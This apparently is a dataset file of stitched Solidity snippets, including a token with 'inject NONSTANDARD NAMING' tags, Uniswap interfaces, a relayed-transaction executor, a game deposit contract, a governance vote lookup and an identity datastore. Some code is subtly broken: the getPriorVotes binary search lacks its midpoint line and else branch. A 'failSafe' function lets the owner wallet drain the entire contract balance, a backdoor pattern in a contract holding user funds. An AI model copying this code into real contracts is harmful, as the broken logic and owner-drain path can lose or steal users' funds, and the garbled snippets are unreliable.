* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
|
Gets the number of valid signatures that must be provided to execute a specific relayed transaction. _wallet The target wallet. _data The data of the relayed transaction. return The number of required signatures and the wallet owner signature requirement./ Executes a relayed transaction. _wallet The target wallet. _data The data for the relayed transaction _nonce The nonce used to prevent replay attacks. _signatures The signatures as a concatenated byte array. _gasPrice The max gas price (in token) to use for the gas refund. _gasLimit The max gas limit to use for the gas refund. _refundToken The token to use for the gas refund. _refundAddress The address refunded to prevent front-running./ initial gas = 21k + non_zero_bytes 16 + zero_bytes 4 ~= 21k + calldata.length [1/3 16 + 2/3 4]
|
function getRequiredSignatures(address _wallet, bytes calldata _data) public view virtual returns (uint256, OwnerSignature);
function execute(
address _wallet,
bytes calldata _data,
uint256 _nonce,
bytes calldata _signatures,
uint256 _gasPrice,
uint256 _gasLimit,
address _refundToken,
address _refundAddress
)
external
returns (bool)
{
uint256 startGas = gasleft() + 21000 + msg.data.length * 8;
require(startGas >= _gasLimit, "RM: not enough gas provided");
require(verifyData(_wallet, _data), "RM: Target of _data != _wallet");
require(!_isLocked(_wallet) || _gasPrice == 0, "RM: Locked wallet refund");
StackExtension memory stack;
(stack.requiredSignatures, stack.ownerSignatureRequirement) = getRequiredSignatures(_wallet, _data);
require(stack.requiredSignatures > 0 || stack.ownerSignatureRequirement == OwnerSignature.Anyone, "RM: Wrong signature requirement");
require(stack.requiredSignatures * 65 == _signatures.length, "RM: Wrong number of signatures");
stack.signHash = getSignHash(
address(this),
0,
_data,
_nonce,
_gasPrice,
_gasLimit,
_refundToken,
_refundAddress);
require(checkAndUpdateUniqueness(
_wallet,
_nonce,
stack.signHash,
stack.requiredSignatures,
stack.ownerSignatureRequirement), "RM: Duplicate request");
if (stack.ownerSignatureRequirement == OwnerSignature.Session) {
require(validateSession(_wallet, stack.signHash, _signatures), "RM: Invalid session");
require(validateSignatures(_wallet, stack.signHash, _signatures, stack.ownerSignatureRequirement), "RM: Invalid signatures");
}
(stack.success, stack.returnData) = address(this).call(_data);
refund(
_wallet,
startGas,
_gasPrice,
_gasLimit,
_refundToken,
_refundAddress,
stack.requiredSignatures,
stack.ownerSignatureRequirement);
emit TransactionExecuted(_wallet, stack.success, stack.returnData, stack.signHash);
return stack.success;
}
| 2,524,122 |
pragma solidity 0.5.17;
pragma experimental ABIEncoderV2;
interface IERC20 {
function TOTALSUPPLY57() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF949(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER654(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE664(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE585(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM949(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER751(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL265(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _MSGSENDER315() internal view returns (address payable) { //inject NONSTANDARD NAMING
return msg.sender;
}
function _MSGDATA742() internal view returns (bytes memory) { //inject NONSTANDARD NAMING
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address payable private _owner;
event OWNERSHIPTRANSFERRED883(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING
constructor () internal {
_owner = _MSGSENDER315();
emit OWNERSHIPTRANSFERRED883(address(0), _owner);
}
function OWNER860() public view returns (address payable) { //inject NONSTANDARD NAMING
return _owner;
}
modifier ONLYOWNER684() { //inject NONSTANDARD NAMING
require(ISOWNER606(), "Ownable: caller is not the owner");
_;
}
function ISOWNER606() public view returns (bool) { //inject NONSTANDARD NAMING
return _MSGSENDER315() == _owner;
}
function RENOUNCEOWNERSHIP25() public ONLYOWNER684 { //inject NONSTANDARD NAMING
emit OWNERSHIPTRANSFERRED883(_owner, address(0));
_owner = address(0);
}
function TRANSFEROWNERSHIP520(address payable newOwner) public ONLYOWNER684 { //inject NONSTANDARD NAMING
_TRANSFEROWNERSHIP409(newOwner);
}
function _TRANSFEROWNERSHIP409(address payable newOwner) internal { //inject NONSTANDARD NAMING
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OWNERSHIPTRANSFERRED883(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 _totalSupply;
function TOTALSUPPLY57() public view returns (uint256) { //inject NONSTANDARD NAMING
return _totalSupply;
}
function BALANCEOF949(address account) public view returns (uint256) { //inject NONSTANDARD NAMING
return _balances[account];
}
function TRANSFER654(address recipient, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER957(_MSGSENDER315(), recipient, amount);
return true;
}
function ALLOWANCE664(address owner, address spender) public view returns (uint256) { //inject NONSTANDARD NAMING
return _allowances[owner][spender];
}
function APPROVE585(address spender, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE29(_MSGSENDER315(), spender, amount);
return true;
}
function TRANSFERFROM949(address sender, address recipient, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER957(sender, recipient, amount);
_APPROVE29(sender, _MSGSENDER315(), _allowances[sender][_MSGSENDER315()].SUB32(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function INCREASEALLOWANCE599(address spender, uint256 addedValue) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE29(_MSGSENDER315(), spender, _allowances[_MSGSENDER315()][spender].ADD719(addedValue));
return true;
}
function DECREASEALLOWANCE607(address spender, uint256 subtractedValue) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE29(_MSGSENDER315(), spender, _allowances[_MSGSENDER315()][spender].SUB32(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _TRANSFER957(address sender, address recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].SUB32(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].ADD719(amount);
emit TRANSFER751(sender, recipient, amount);
}
function _MINT290(address account, uint256 amount) internal { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.ADD719(amount);
_balances[account] = _balances[account].ADD719(amount);
emit TRANSFER751(address(0), account, amount);
}
function _BURN535(address account, uint256 amount) internal { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].SUB32(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.SUB32(amount);
emit TRANSFER751(account, address(0), amount);
}
function _APPROVE29(address owner, address spender, uint256 amount) internal { //inject NONSTANDARD NAMING
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit APPROVAL265(owner, spender, amount);
}
function _BURNFROM245(address account, uint256 amount) internal { //inject NONSTANDARD NAMING
_BURN535(account, amount);
_APPROVE29(account, _MSGSENDER315(), _allowances[account][_MSGSENDER315()].SUB32(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function NAME844() public view returns (string memory) { //inject NONSTANDARD NAMING
return _name;
}
function SYMBOL911() public view returns (string memory) { //inject NONSTANDARD NAMING
return _symbol;
}
function DECIMALS364() public view returns (uint8) { //inject NONSTANDARD NAMING
return _decimals;
}
}
library SafeMath {
function ADD719(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB32(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB32(a, b, "SafeMath: subtraction overflow");
}
function SUB32(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL297(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV972(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV972(a, b, "SafeMath: division by zero");
}
function DIV972(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function MOD124(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD124(a, b, "SafeMath: modulo by zero");
}
function MOD124(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
contract yeldTUSD is ERC20, ERC20Detailed, Ownable {
using SafeMath for uint256;
address public yTUSDAddress;
uint256 public initialPrice = 10000;
uint256 public fromYeldTTUSDoYeld = initialPrice * (10 ** 18); // Must be divided by 1e18 to get the real value
uint256 public fromTTUSDoYeldTUSDPrice = fromYeldTTUSDoYeld / initialPrice; // Must be divided by 1e18 to get the real value
uint256 public yeldReward = 1;
uint256 public yeldTUSDDecimals = 18; // The price has 18 decimals meaning you'll have to divide by 1e18 to get the real value
uint256 public lastPriceUpdate = now;
uint256 public priceUpdatePeriod = 1 days;
modifier ONLYYTUSD369 { //inject NONSTANDARD NAMING
require(msg.sender == yTUSDAddress);
_;
}
constructor() public payable ERC20Detailed("yeld TUSD", "yeldTUSD", 18) {}
function SETYTUSD712(address _yTUSDAddress) public ONLYOWNER684 { //inject NONSTANDARD NAMING
yTUSDAddress = _yTUSDAddress;
}
function MINT359(address _to, uint256 _amount) public ONLYYTUSD369 { //inject NONSTANDARD NAMING
_MINT290(_to, _amount);
}
function BURN815(address _to, uint256 _amount) public ONLYYTUSD369 { //inject NONSTANDARD NAMING
_BURN535(_to, _amount);
}
function CHANGEPRICERATIO481(uint256 _price) public ONLYOWNER684 { //inject NONSTANDARD NAMING
initialPrice = _price;
}
function CHECKIFPRICENEEDSUPDATING725() public view returns(bool) { //inject NONSTANDARD NAMING
return now >= lastPriceUpdate + priceUpdatePeriod;
}
function UPDATEPRICE820() public { //inject NONSTANDARD NAMING
require(CHECKIFPRICENEEDSUPDATING725(), "The price can't be updated yet");
// Update the price
uint256 daysPassed = (now - lastPriceUpdate) / 1 days;
yeldReward = daysPassed;
lastPriceUpdate = now;
fromYeldTTUSDoYeld = initialPrice.MUL297(10 ** yeldTUSDDecimals).DIV972(yeldReward);
fromTTUSDoYeldTUSDPrice = fromYeldTTUSDoYeld.DIV972(initialPrice);
}
function EXTRACTTOKENSIFSTUCK927(address _token, uint256 _amount) public ONLYOWNER684 { //inject NONSTANDARD NAMING
IERC20(_token).TRANSFER654(msg.sender, _amount);
}
function EXTRACTETHIFSTUCK461() public ONLYOWNER684 { //inject NONSTANDARD NAMING
OWNER860().transfer(address(this).balance);
}
}
|
inject NONSTANDARD NAMING
|
function _TRANSFER957(address sender, address recipient, uint256 amount) internal {
| 12,740,428 |
pragma solidity ^0.4.11;
import '../math/SafeMath.sol';
import '../token/JoyToken.sol';
import '../token/ERC223ReceivingContract.sol';
import '../ownership/Ownable.sol';
import '../game/JoyGameAbstract.sol';
/**
* Main token deposit contract.
*
* In demo version only playing in on game at the same time is allowed,
* so locks, unlocks, and transfer function operate on all player deposit.
*/
contract PlatformDeposit is ERC223ReceivingContract, Ownable {
using SafeMath for uint;
// Token that is supported by this contract. Should be registered in constructor
JoyToken public m_supportedToken;
mapping(address => uint256) deposits;
mapping(address => uint256) lockedFunds;
/**
* platformReserve - Main platform address and reserve for winnings
* Important address that collecting part of players losses as reserve which players will get winnings.
* For security reasons "platform reserve address" needs to be separated/other that address of owner of this contract.
*/
address public platformReserve;
/**
* @dev Constructor
* @param _supportedToken The address of token contract that will be supported as players deposit
*/
function PlatformDeposit(address _supportedToken, address _platformReserve) {
// owner need to be separated from _platformReserve
require(owner != _platformReserve);
platformReserve = _platformReserve;
m_supportedToken = JoyToken(_supportedToken);
}
/**
* @dev Gets the balance of the specified address.
* @param _player The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOfPlayer(address _player) public constant returns (uint256) {
return deposits[_player];
}
/**
* @dev Gets the locked funds of the specified address.
* @param _player Player address.
* @return An uint256 representing the amount of locked tokens.
*/
function playerLockedFunds(address _player) public constant returns (uint256) {
return lockedFunds[_player];
}
/**
* @dev Function that receive tokens, throw exception if tokens is not supported.
* This contract could receive tokens, using functionalities designed in erc223 standard.
* !! works only with tokens designed in erc223 way.
*/
function onTokenReceived(address _from, uint _value, bytes _data) external {
// msg.sender is a token-contract address here
// we will use this information to filter what token we accept as deposit
// get address of supported token
require(msg.sender == address(m_supportedToken));
//TODO make sure about other needed requirements!
deposits[_from] = deposits[_from].add(_value);
}
/**
* @dev Temporarily transfer funds to the game contract
*
* This method can be used to lock funds in order to perform specific actions by external contract.
* That construct allow to adding new games without modifying this contract.
* Important security check is that execution of this method will work:
* only if the owner of the game will be same as the owner of this contract
*
* @param _player address of registered player
* @param _gameContractAddress address to the game contract
*/
function transferToGame(address _player, address _gameContractAddress) onlyOwner {
// platformReserve is not allowed to play, this check prevents owner take possession of platformReserve
require(_player != platformReserve);
// _gameContractAddress should be a contract, throw exception if owner will tries to transfer funds to the individual address.
// Require supported Token to have 'isContract' method.
require(isContract(_gameContractAddress));
// check if player have any funds in his deposit
require(deposits[_player] > 0);
// Create local joyGame object using address of given gameContract.
JoyGameAbstract joyGame = JoyGameAbstract(_gameContractAddress);
// Require this contract and gameContract to be owned by the same address.
// This check prevents interaction with this contract from external contracts
require(joyGame.owner() == owner);
uint256 loc_fundsLocked = lockPlayerFunds(_player);
// increase gameContract deposit for the time of the game
// this funds are locked, and can not even be withdraw by owner
deposits[_gameContractAddress] = deposits[_gameContractAddress].add(loc_fundsLocked);
joyGame.startGame(_player, loc_fundsLocked);
}
/**
* @dev move given _value from player deposit to lockedFunds map.
* Should be unlocked only after end of the game session (accountGameResult function).
*/
function lockPlayerFunds(address _playerAddr) internal returns (uint256 locked) {
uint256 player_deposit = deposits[_playerAddr];
deposits[_playerAddr] = deposits[_playerAddr].sub(player_deposit);
// check if player funds was locked successfully
require(deposits[_playerAddr] == 0);
lockedFunds[_playerAddr] = lockedFunds[_playerAddr].add(player_deposit);
return lockedFunds[_playerAddr];
}
/**
* @dev internal function that unlocks player funds.
* Used in accountGameResult after
*/
function unlockPlayerFunds(address _playerAddr) internal returns (uint256 unlocked) {
uint256 player_lockedFunds = lockedFunds[_playerAddr];
lockedFunds[_playerAddr] = lockedFunds[_playerAddr].sub(player_lockedFunds);
// check if player funds was unlocked successfully
require(lockedFunds[_playerAddr] == 0);
deposits[_playerAddr] = deposits[_playerAddr].add(player_lockedFunds);
return deposits[_playerAddr];
}
/**
* @dev function that can be called from registered 'game contract' after closing player session to update state.
*
* Unlock Tokens from game contract and distribute Tokens according to final balance.
* @param _playerAddr address of player that end his game session
* @param _finalBalance value that determine player wins and losses
*/
function accountGameResult(address _playerAddr, uint256 _finalBalance) external {
JoyGameAbstract joyGame = JoyGameAbstract(msg.sender);
// check if game contract is allowed to interact with this contract
// must be the same owner
require(joyGame.owner() == owner);
// case where player deposit does not change
if(_finalBalance == lockedFunds[_playerAddr]) {
unlockPlayerFunds(_playerAddr);
}
// case where player wins
else if (_finalBalance > lockedFunds[_playerAddr]) {
uint256 playerEarnings = _finalBalance.sub(lockedFunds[_playerAddr]);
// check if contract is able to pay player a win
require(playerEarnings <= deposits[platformReserve]);
// unlock player funds with additional win from platformReserve
unlockPlayerFunds(_playerAddr);
deposits[platformReserve] = deposits[platformReserve].sub(playerEarnings);
deposits[_playerAddr] = deposits[_playerAddr].add(playerEarnings);
}
// case where player lose
else {
// substract player loss from player locked funds
uint256 playerLoss = lockedFunds[_playerAddr].sub(_finalBalance);
lockedFunds[_playerAddr] = lockedFunds[_playerAddr].sub(playerLoss);
// double check
require(lockedFunds[_playerAddr] == _finalBalance);
// unlock player funds that were not lose
unlockPlayerFunds(_playerAddr);
// distribute player Token loss to gameDev and platformReserve in 1:1 ratio
// for odd loss additional Token goes to platformReserve
// (example loss = 3 is gameDevPart = 1 and platformReserve = 2)
uint256 gameDeveloperPart = playerLoss.div(2);
uint256 platformReservePart = playerLoss.sub(gameDeveloperPart);
// double check
require( (gameDeveloperPart + platformReservePart) == playerLoss );
address loc_gameDev = joyGame.gameDev();
deposits[loc_gameDev] = deposits[loc_gameDev].add(gameDeveloperPart);
deposits[platformReserve] = deposits[platformReserve].add(platformReservePart);
}
}
/**
* @dev Function that could be executed by players to withdraw their deposit
*/
function payOut(address _to, uint256 _value) {
// use transfer function from supported token.
// should be used from player address that was registered in deposits
require(_value <= deposits[msg.sender]);
/**
* Prevents payOut to the contract address.
* This trick deprives owner incentives to steal Tokens from players.
* Even if owner use 'transferToGame' method to transfer some deposits to the fake contract,
* he will not be able to withdraw Tokens to any private address.
*/
require(isContract(_to) == false);
deposits[msg.sender] = deposits[msg.sender].sub(_value);
// Use m_supportedToken method to transfer real Tokens.
m_supportedToken.transfer(_to, _value);
}
//---------------------- utils ---------------------------
function isContract(address _addr) internal constant returns (bool) {
uint codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_addr)
}
return (codeLength > 0);
}
}
|
Gets the balance of the specified address. _player The address to query the the balance of. return An uint256 representing the amount owned by the passed address./
|
function balanceOfPlayer(address _player) public constant returns (uint256) {
return deposits[_player];
}
| 12,851,583 |
./full_match/137/0x51bf8cABE2e681E92A00676637eE0F249d687264/sources/contracts/TradeHelper.sol
|
Swap (supporting fee-on-transfer tokens)
|
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
address router,
address factory
) internal returns (uint256 amountOut) {
IERC20(path[0]).safeTransferFrom(msg.sender, IUniswapV2Factory(factory).getPair(path[0], path[1]), amountIn);
uint256 balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to, router, factory);
uint256 balanceAfter = IERC20(path[path.length - 1]).balanceOf(to);
amountOut = balanceAfter - balanceBefore;
require(amountOut >= amountOutMin, 'Swap: INSUFFICIENT_OUTPUT_AMOUNT');
}
| 3,774,749 |
./full_match/43113/0x623f861B0528Eb29a47833f328077dc61c9278c1/sources/contracts/MozzaToken.sol
|
Determine the prior number of votes for an account as of a block number Block number must be a finalized block or else this function will revert to prevent misinformation. account The address of the account to check blockNumber The block number to get the vote balance at return The number of votes the account had as of the given block/ First check most recent balance Next check implicit zero balance
|
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "MOZZA::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
lower = center;
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
| 7,179,278 |
./full_match/5/0xD88d26086688EcaC0aF0E7E81cf3A15D5563057a/sources/browser/Math.sol
|
Contract balance withdraw/
|
function failSafe(address payable _toUser, uint _amount) public returns (bool) {
require(msg.sender == ownerAddress, "only Owner Wallet");
require(_toUser != address(0), "Invalid Address");
require(address(this).balance >= _amount, "Insufficient balance");
(_toUser).transfer(_amount);
return true;
}
| 1,936,721 |
pragma solidity ^0.4.18;
// File: contracts/UidCheckerInterface.sol
interface UidCheckerInterface {
function isUid(
string _uid
)
public
pure returns (bool);
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/ownership/HasNoEther.sol
/**
* @title Contracts that should not own Ether
* @author Remco Bloemen <remco@2π.com>
* @dev This tries to block incoming ether to prevent accidental loss of Ether. Should Ether end up
* in the contract, it will allow the owner to reclaim this ether.
* @notice Ether can still be send to this contract by:
* calling functions labeled `payable`
* `selfdestruct(contract_address)`
* mining directly to the contract address
*/
contract HasNoEther is Ownable {
/**
* @dev Constructor that rejects incoming Ether
* @dev The `payable` flag is added so we can access `msg.value` without compiler warning. If we
* leave out payable, then Solidity will allow inheriting contracts to implement a payable
* constructor. By doing it this way we prevent a payable constructor from working. Alternatively
* we could use assembly to access msg.value.
*/
function HasNoEther() public payable {
require(msg.value == 0);
}
/**
* @dev Disallows direct send by settings a default function without the `payable` flag.
*/
function() external {
}
/**
* @dev Transfer all Ether held by the contract to the owner.
*/
function reclaimEther() external onlyOwner {
assert(owner.send(this.balance));
}
}
// File: contracts/Datastore.sol
/**
* @title Store
* @author Francesco Sullo <[email protected]>
* @dev It store the tweedentities related to the app
*/
contract Datastore
is HasNoEther
{
string public fromVersion = "1.0.0";
uint public appId;
string public appNickname;
uint public identities;
address public manager;
address public newManager;
UidCheckerInterface public checker;
struct Uid {
string lastUid;
uint lastUpdate;
}
struct Address {
address lastAddress;
uint lastUpdate;
}
mapping(string => Address) internal __addressByUid;
mapping(address => Uid) internal __uidByAddress;
bool public appSet;
// events
event AppSet(
string appNickname,
uint appId,
address checker
);
event ManagerSet(
address indexed manager,
bool isNew
);
event ManagerSwitch(
address indexed oldManager,
address indexed newManager
);
event IdentitySet(
address indexed addr,
string uid
);
event IdentityUnset(
address indexed addr,
string uid
);
// modifiers
modifier onlyManager() {
require(msg.sender == manager || (newManager != address(0) && msg.sender == newManager));
_;
}
modifier whenAppSet() {
require(appSet);
_;
}
// config
/**
* @dev Updates the checker for the store
* @param _address Checker's address
*/
function setNewChecker(
address _address
)
external
onlyOwner
{
require(_address != address(0));
checker = UidCheckerInterface(_address);
}
/**
* @dev Sets the manager
* @param _address Manager's address
*/
function setManager(
address _address
)
external
onlyOwner
{
require(_address != address(0));
manager = _address;
ManagerSet(_address, false);
}
/**
* @dev Sets new manager
* @param _address New manager's address
*/
function setNewManager(
address _address
)
external
onlyOwner
{
require(_address != address(0) && manager != address(0));
newManager = _address;
ManagerSet(_address, true);
}
/**
* @dev Sets new manager
*/
function switchManagerAndRemoveOldOne()
external
onlyOwner
{
require(newManager != address(0));
ManagerSwitch(manager, newManager);
manager = newManager;
newManager = address(0);
}
/**
* @dev Sets the app
* @param _appNickname Nickname (e.g. twitter)
* @param _appId ID (e.g. 1)
*/
function setApp(
string _appNickname,
uint _appId,
address _checker
)
external
onlyOwner
{
require(!appSet);
require(_appId > 0);
require(_checker != address(0));
require(bytes(_appNickname).length > 0);
appId = _appId;
appNickname = _appNickname;
checker = UidCheckerInterface(_checker);
appSet = true;
AppSet(_appNickname, _appId, _checker);
}
// helpers
/**
* @dev Checks if a tweedentity is upgradable
* @param _address The address
* @param _uid The user-id
*/
function isUpgradable(
address _address,
string _uid
)
public
constant returns (bool)
{
if (__addressByUid[_uid].lastAddress != address(0)) {
return keccak256(getUid(_address)) == keccak256(_uid);
}
return true;
}
// primary methods
/**
* @dev Sets a tweedentity
* @param _address The address of the wallet
* @param _uid The user-id of the owner user account
*/
function setIdentity(
address _address,
string _uid
)
external
onlyManager
whenAppSet
{
require(_address != address(0));
require(isUid(_uid));
require(isUpgradable(_address, _uid));
if (bytes(__uidByAddress[_address].lastUid).length > 0) {
// if _address is associated with an oldUid,
// this removes the association between _address and oldUid
__addressByUid[__uidByAddress[_address].lastUid] = Address(address(0), __addressByUid[__uidByAddress[_address].lastUid].lastUpdate);
identities--;
}
__uidByAddress[_address] = Uid(_uid, now);
__addressByUid[_uid] = Address(_address, now);
identities++;
IdentitySet(_address, _uid);
}
/**
* @dev Unset a tweedentity
* @param _address The address of the wallet
*/
function unsetIdentity(
address _address
)
external
onlyManager
whenAppSet
{
require(_address != address(0));
require(bytes(__uidByAddress[_address].lastUid).length > 0);
string memory uid = __uidByAddress[_address].lastUid;
